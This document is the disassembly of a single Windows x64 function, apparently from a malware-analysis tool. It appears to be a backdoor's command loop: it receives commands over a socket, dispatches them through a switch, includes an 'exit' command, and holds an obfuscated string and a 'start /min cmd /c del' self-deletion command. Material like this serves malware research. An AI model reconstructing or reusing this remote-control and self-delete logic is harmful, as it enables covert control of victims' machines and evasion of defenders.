Function at 0x1400028a0
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x148
mov eax, dword [0x140021004]
mov dword [rsp + 0x88], eax
mov dword [rsp + 0x8c], 0
mov dword [rsp + 0x20], 8
lea r9, [rsp + 0x88]
mov r8d, 0x1006
mov edx, 0xffff
mov rcx, qword [0x140021098]
call qword [0x140022278]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0x400
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 4
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x80], 0x64
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xd0]
call qword [0x1400221f0]
mov dword [rsp + 0x68], 1
xor r9d, r9d
mov r8d, 4
lea rdx, [0x140021da0]
mov rcx, qword [0x140021098]
call fcn.140003390
mov dword [0x140021bbc], eax
mov ecx, 0x320
call qword [0x1400222c0]
mov ecx, 0x320
call qword [0x1400222c0]
cmp dword [0x140021bbc], 0
jle 0x140002f90
lea rax, [0x140021da0]
mov qword [rsp + 0xa0], rax
mov ecx, 4
call fcn.1400063b8
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0x40], 0
jne 0x1400029d4
jmp 0x140002fc2
mov dword [rsp + 0x90], 5
lea rax, [rsp + 0xa8]
lea rcx, [0x1400164c0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xb
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x78]
lea rcx, str.exit
mov rdi, rax
mov rsi, rcx
mov ecx, 5
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x94], 0x63
mov dword [rsp + 0x84], 6
mov dword [rsp + 0x6c], 0
mov dword [rsp + 0x58], 0xffffffff
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x4c], 0
mov dword [rsp + 0x48], 0
lea rax, str.start__min_cmd__c_del
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
dec eax
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0x62
ja case.0x140002aa2.5
movsxd rax, dword [rsp + 0x50]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x301c]
mov eax, dword [rcx + rax*4 + 0x2fec]
add rax, rcx
jmp rax
xor r9d, r9d
mov r8d, 4
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x140021098]
call fcn.1400034c0
cmp eax, 0xffffffff
jne 0x140002ac8
jmp case.0x140002aa2.5
jmp case.0x140002aa2.5
xor r9d, r9d
mov r8d, 4
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x140021098]
call fcn.140003390
cmp eax, 0xffffffff
jne 0x140002af1
jmp case.0x140002aa2.5
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov dword [0x140021004], eax
jmp case.0x140002aa2.5
xor r9d, r9d
mov r8d, 4
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x140021098]
call fcn.140003390
cmp eax, 0xffffffff
jne 0x140002b2f
jmp case.0x140002aa2.5
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov dword [0x14002102c], eax
jmp case.0x140002aa2.5
xor r9d, r9d
mov r8d, 4
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x140021098]
call fcn.140003390
cmp eax, 0xffffffff
jne 0x140002b6d
jmp case.0x140002aa2.5
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
mov dword [rsp + 0x30], eax
xor r9d, r9d
mov r8d, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [0x140021098]
call fcn.140003390
cmp eax, 0xffffffff
jne 0x140002b9b
jmp case.0x140002aa2.5
mov dword [rsp + 0x30], 0
mov r8d, 5
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0x40]
call fcn.140007c30
test eax, eax
jne 0x140002bc1
jmp case.0x140002aa2.5
mov rcx, qword [rsp + 0x40]
call fcn.140001ca0
jmp case.0x140002aa2.5
xor r9d, r9d
mov r8d, 4
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x140021098]
call fcn.140003390
cmp eax, 0xffffffff
jne 0x140002bf4
jmp case.0x140002aa2.5
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
mov dword [rsp + 0x30], eax
xor r9d, r9d
mov r8d, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [0x140021098]
call fcn.140003390
cmp eax, 0xffffffff
jne 0x140002c22
jmp case.0x140002aa2.5
mov dword [rsp + 0x30], 0
mov r8d, 5
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0x40]
call fcn.140007c30
test eax, eax
jne 0x140002c48
jmp case.0x140002aa2.5
mov rcx, qword [rsp + 0x40]
call fcn.140004340
jmp case.0x140002aa2.5
mov dword [rsp + 0x70], 1
mov dword [rsp + 0x74], 0
mov dword [rsp + 0x20], 8
lea r9, [rsp + 0x70]
mov r8d, 0x1006
mov edx, 0xffff
mov rcx, qword [0x140021098]
call qword [0x140022278]
call fcn.140004250
test eax, eax
jne 0x140002c9f
call fcn.140002770
jmp case.0x140002aa2.5
mov r8d, 0xb
lea rdx, [rsp + 0xa8]
mov rcx, qword [rsp + 0x40]
call fcn.140007c30
test eax, eax
je 0x140002d8c
mov dword [rsp + 0x54], 0
jmp 0x140002cd3
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0x400
jge 0x140002ced
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x40]
mov byte [rcx + rax], 0
jmp 0x140002cc9
xor r9d, r9d
mov r8d, 4
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x140021098]
call fcn.140003390
cmp eax, 0xffffffff
jne 0x140002d0e
jmp 0x140002d8c
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
mov dword [rsp + 0x4c], eax
xor r9d, r9d
mov r8d, dword [rsp + 0x4c]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [0x140021098]
call fcn.140003390
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0xffffffff
jne 0x140002d49
mov dword [rsp + 0x4c], 0
jmp 0x140002d8c
mov rcx, qword [rsp + 0x40]
call fcn.140003690
mov dword [0x1400221a0], eax
mov eax, dword [0x1400221a0]
shl eax, 1
mov dword [0x1400221a0], eax
mov rcx, qword [rsp + 0x40]
call fcn.140002310
test eax, eax
jne 0x140002d7f
mov dword [rsp + 0x4c], 0
jmp 0x140002d8c
mov dword [rsp + 0x4c], 0
jmp 0x140002c9f
call fcn.140002770
mov dword [0x1400221a0], 0
jmp case.0x140002aa2.5
xor r9d, r9d
mov r8d, 4
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x140021098]
call fcn.140003390
mov dword [rsp + 0x58], eax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
mov dword [rsp + 0x6c], eax
cmp dword [rsp + 0x58], 0xffffffff
jne 0x140002dd5
jmp case.0x140002aa2.5
mov dword [rsp + 0x5c], 0
jmp 0x140002de9
mov eax, dword [rsp + 0x5c]
inc eax
mov dword [rsp + 0x5c], eax
movsxd rax, dword [rsp + 0x5c]
cmp rax, 4
jae 0x140002e04
movsxd rax, dword [rsp + 0x5c]
mov rcx, qword [rsp + 0x38]
mov byte [rcx + rax], 0
jmp 0x140002ddf
mov eax, dword [rsp + 0x6c]
mov dword [0x140021bb0], eax
mov rax, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x84]
mov dword [rax], ecx
xor r9d, r9d
mov r8d, 4
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x140021098]
call fcn.1400034c0
cmp eax, 0xffffffff
jne 0x140002e40
jmp case.0x140002aa2.5
mov eax, dword [0x140021bb0]
mov ecx, dword [0x140021004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x74], 0
mov dword [rsp + 0x20], 8
lea r9, [rsp + 0x70]
mov r8d, 0x1006
mov edx, 0xffff
mov rcx, qword [0x140021098]
call qword [0x140022278]
jmp case.0x140002aa2.5
mov dword [rsp + 0x68], 0
mov dword [0x140021bb4], 1
jmp case.0x140002aa2.5
call fcn.1400018d0
jmp case.0x140002aa2.5
mov rcx, qword [str.DocumentsManagerReporter]
call fcn.140002380
mov dword [rsp + 0x48], eax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x48]
mov dword [rax], ecx
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x48]
mov rcx, qword [0x140021098]
call fcn.1400034c0
cmp eax, 0xffffffff
jne 0x140002ee3
jmp case.0x140002aa2.5
jmp case.0x140002aa2.5
lea rcx, [rsp + 0xd0]
call fcn.140001610
mov r8, qword [str.DocumentsManagerReporter]
mov rdx, rax
lea rcx, str.i_bvxumxgsjgzgbyulzgxksksux_bjuisktzysgtgmkx4kk
call fcn.140004b50
mov dword [rsp + 0x48], eax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x48]
mov dword [rax], ecx
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x48]
mov rcx, qword [0x140021098]
call fcn.1400034c0
mov dword [rsp + 0x60], 0
jmp 0x140002f45
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0x400
jge 0x140002f5f
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
mov byte [rcx + rax], 0
jmp 0x140002f3b
mov dword [rsp + 0x64], 0
jmp 0x140002f73
mov eax, dword [rsp + 0x64]
inc eax
mov dword [rsp + 0x64], eax
movsxd rax, dword [rsp + 0x64]
cmp rax, 4
jae 0x140002f8e
movsxd rax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x38]
mov byte [rcx + rax], 0
jmp 0x140002f69
jmp 0x140002fb7
mov edx, 1
mov rcx, qword [0x140021098]
call qword [0x140022280]
mov rcx, qword [0x140021098]
call qword [0x140022258]
call qword [0x140022290]
jmp 0x140002fc2
cmp dword [rsp + 0x68], 0
jne 0x140002951
cmp dword [0x140021bb4], 1
je 0x140002fd2
cmp dword [rsp + 0x68], 0
jne 0x140002fdc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400012c0
add rsp, 0x148
pop rdi
pop rsi
ret